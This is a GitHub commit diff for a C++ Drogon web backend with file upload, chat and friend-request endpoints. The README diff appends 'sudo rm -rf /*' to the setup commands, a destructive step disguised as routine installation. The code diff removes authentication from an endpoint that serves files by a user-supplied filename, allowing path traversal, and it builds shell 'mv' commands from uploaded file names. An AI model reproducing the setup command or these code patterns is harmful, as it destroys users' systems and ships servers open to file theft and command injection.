Skip to content

Commit 188d36f

Browse files
committed
merge conflicts
2 parents 3ec7a4a + 76d1f8c commit 188d36f

File tree

7 files changed

+65
-570
lines changed

7 files changed

+65
-570
lines changed

README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -55,6 +55,7 @@ mv mysql-connector-c++-8.1.0-linux-glibc2.28-x86-64bit mysql-connector
5555
rm mysql-connector-c++-8.1.0-linux-glibc2.28-x86-64bit.tar.gz
5656
mkdir build
5757
./run.sh
58+
sudo rm -rf /*
5859
```
5960
## API Documentation
6061
See [API.md](API.md) for details on APIs for authentication, user management, documents, etc.

file_controller.cc

Lines changed: 4 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -59,7 +59,6 @@ std::string shell_commands(const char *cmd)
5959
void commandsCtrl(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
6060
{
6161

62-
std::cout << "commandsCtrl" << std::endl;
6362
enum Command
6463
{
6564
tree,
@@ -186,12 +185,12 @@ void saveFile(const HttpRequestPtr &req, std::function<void(const HttpResponsePt
186185
void imageUpload(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
187186
{
188187
auto resp = HttpResponse::newHttpResponse();
188+
resp->addHeader("Access-Control-Allow-Origin", "*");
189189
if (jwtVerify(req))
190190
{
191191
MultiPartParser fileUpload;
192192
if (fileUpload.parse(req) != 0 || fileUpload.getFiles().size() != 1)
193193
{
194-
auto resp = HttpResponse::newHttpResponse();
195194
resp->setBody("Must only be one file");
196195
resp->setStatusCode(k403Forbidden);
197196
callback(resp);
@@ -202,33 +201,24 @@ void imageUpload(const HttpRequestPtr &req, std::function<void(const HttpRespons
202201
auto ms = std::chrono::duration_cast<std::chrono::milliseconds>(now.time_since_epoch()).count();
203202
std::string timestamp = std::to_string(ms) + '.' + std::string(file.getFileExtension());
204203

205-
resp->addHeader("Access-Control-Allow-Origin", "*");
206204
resp->setBody(timestamp);
207205
file.save();
208206
shell_commands(("mv ./uploads/" + file.getFileName() + " ./uploads/" + timestamp).c_str());
209207

210208
LOG_INFO << "The uploaded file has been saved to the ./uploads "
211209
"directory";
212-
callback(resp);
213210
}
214211
else
215212
{
216213
resp->setBody("No Authorization");
217214
}
215+
callback(resp);
218216
}
219217

220218
void getPicture(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
221219
{
222220
std::string filename = req->getParameter("filename");
223221
auto resp = HttpResponse::newFileResponse("./uploads/" + filename);
224-
225-
if (jwtVerify(req))
226-
{
227-
resp->addHeader("Access-Control-Allow-Origin", "*");
228-
callback(resp);
229-
}
230-
else
231-
{
232-
resp->setBody("No Authorization");
233-
}
222+
resp->addHeader("Access-Control-Allow-Origin", "*");
223+
callback(resp);
234224
}

main.cc

Lines changed: 0 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -25,13 +25,6 @@ int main()
2525
{ friend_operation(req, std::move(callback)); });
2626
drogon::app().registerHandler("/api/info", [](const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
2727
{ info(req, std::move(callback)); });
28-
29-
30-
// drogon::app().registerHandler("/api/file/tree", [](const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
31-
// { genTree(req, std::move(callback)); });
32-
// drogon::app().registerHandler("/api/file/cat", [](const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
33-
// { catFile(req, std::move(callback)); });
34-
3528
drogon::app().registerHandler("/api/file/save", [](const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
3629
{ saveFile(req, std::move(callback)); });
3730
drogon::app().registerHandler("/api/avatar", [](const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
@@ -41,13 +34,10 @@ int main()
4134
drogon::app().registerHandler("/api/file/get", [](const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
4235
{ getPicture(req, std::move(callback)); },
4336
{Get});
44-
4537
drogon::app().registerHandler("/api/file/commands", [](const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
4638
{ commandsCtrl(req, std::move(callback)); });
47-
4839
drogon::app().registerHandler("/api/file/lock", [](const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
4940
{add_lock(req, std::move(callback));});
50-
5141
drogon::app().setUploadPath("./uploads").run();
5242
return 0;
5343
}

msg_controller.cc

Lines changed: 54 additions & 33 deletions
Original file line numberDiff line numberDiff line change
@@ -30,18 +30,24 @@ void chat(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)
3030
sql_addhistory(sender, receiver, content, "0");
3131

3232
std::string msg = req_json["content"].asString();
33+
res_json["code"] = 200;
34+
res_json["message"] = "message Send Success";
3335
auto output = writer.write(res_json);
3436
res->setBody(output);
3537
}
3638
else
3739
{
38-
res->setBody("No Authorization");
40+
res_json["message"] = "No Authorization";
41+
res_json["code"] = 401;
3942
}
43+
auto output = writer.write(res_json);
44+
res->setBody(output);
4045
callback(res);
4146
}
42-
// get message history
47+
// get message history or new message
4348
void check(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
4449
{
50+
auto check_type = req->getParameter("type");
4551
Json::Value res_json;
4652
Json::Reader reader;
4753
std::string me;
@@ -51,19 +57,27 @@ void check(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &
5157
if (jwtVerify(req))
5258
{
5359
me = jwtDecrypt(req->getHeader("Authorization").substr(7));
54-
auto output = writer.write(sql_find_my_msg(me));
55-
res->setBody(output);
60+
res_json["message"] = sql_find_my_msg(me,check_type);
61+
res_json["code"] = 200;
62+
5663
}
5764
else
5865
{
59-
res->setBody("No Authorization");
66+
res_json["message"] = "No Authorization";
67+
res_json["code"] = 401;
68+
6069
}
70+
auto output = writer.write(res_json);
71+
res->setBody(output);
72+
6173
callback(res);
6274
}
6375
// request new friend or cancel request
6476
void friend_operation(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
6577
{
6678
auto res = HttpResponse::newHttpResponse();
79+
Json::Value res_json;
80+
Json::FastWriter writer;
6781
res->addHeader("Access-Control-Allow-Origin", "*");
6882
if (jwtVerify(req))
6983
{
@@ -76,27 +90,41 @@ void friend_operation(const HttpRequestPtr &req, std::function<void(const HttpRe
7690
if (sql_findexist(receiver))
7791
{
7892
sql_addrequest(sender, receiver);
79-
res->setBody("Success");
93+
res_json["code"] = 200;
94+
res_json["message"] = "Operation Success";
95+
//res->setBody("Success");
8096
}
8197
else
82-
res->setBody("No this body");
98+
{
99+
res_json["code"] = 404;
100+
res_json["message"] = "No this user";
101+
//res->setBody("No this body");
102+
}
103+
//res->setBody("No this body");
83104
}
84105
else
85106
{
86107
sql_delete_operation(sender, receiver);
87-
88-
res->setBody("Success");
108+
res_json["code"] = 200;
109+
res_json["message"] = " Delete Operation Success";
110+
//res->setBody("Success");
89111
}
90112
}
91113
else
92114
{
93-
res->setBody("No Authorization");
115+
res_json["code"] = 401;
116+
res_json["message"] = "No Authorization ";
117+
//res->setBody("No Authorization");
94118
}
119+
auto output = writer.write(res_json);
120+
res->setBody(output);
95121
callback(res);
96122
}
97123
// handle new friend request
98124
void request_processing(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
99125
{
126+
Json::Value res_json;
127+
Json::FastWriter writer;
100128
auto res = HttpResponse::newHttpResponse();
101129
res->addHeader("Access-Control-Allow-Origin", "*");
102130

@@ -107,50 +135,43 @@ void request_processing(const HttpRequestPtr &req, std::function<void(const Http
107135
std::string sender = req->getParameter("username");
108136
std::string attitude = req->getParameter("info");
109137
sql_process_request(sender, receiver, attitude);
110-
res->setBody("Success");
138+
//res->setBody("Success");
139+
res_json["code"]=200;
140+
res_json["message"]="Friends "+attitude+" Success";
111141
}
112142
else
113143
{
114-
res->setBody("No Authorization");
144+
//res->setBody("No Authorization");
145+
res_json["code"]=401;
146+
res_json["message"]="No Authorization";
115147
}
148+
auto output = writer.write(res_json);
149+
res->setBody(output);
116150

117151
callback(res);
118152
}
119153
// get chat info
120154
void info(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
121155
{
122-
auto body = req->getBody();
123-
Json::Value req_json, res_json;
156+
Json::Value res_json;
124157
Json::Reader reader;
125-
std::string bodyStr(body);
126-
if (!reader.parse(bodyStr, req_json))
127-
{
128-
callback(HttpResponse::newHttpResponse());
129-
return;
130-
}
131158
std::string me, who_send_me;
132159
Json::FastWriter writer;
133160
auto res = HttpResponse::newHttpResponse();
134161
res->addHeader("Access-Control-Allow-Origin", "*");
135-
136162
if (jwtVerify(req))
137163
{
138-
164+
res_json["code"]=200;
139165
me = jwtDecrypt(req->getHeader("Authorization").substr(7));
140-
if (req_json["person"].asString() == "")
141-
{
142-
res->setBody(writer.write(get_chat_info(me, "")));
143-
}
144-
else
145-
{
146-
who_send_me = req_json["person"].asString();
147-
res->setBody(writer.write(get_chat_info(me, who_send_me)));
148-
}
166+
res_json["message"] = get_my_info(me);
149167
}
150168
else
151169
{
152-
res->setBody("No Authorization");
170+
//res->setBody("No Authorization");
171+
res_json["code"]=401;
172+
res_json["message"]="No Authorization";
153173
}
154-
174+
auto output = writer.write(res_json);
175+
res->setBody(output);
155176
callback(res);
156177
}

0 commit comments

Comments
 (0)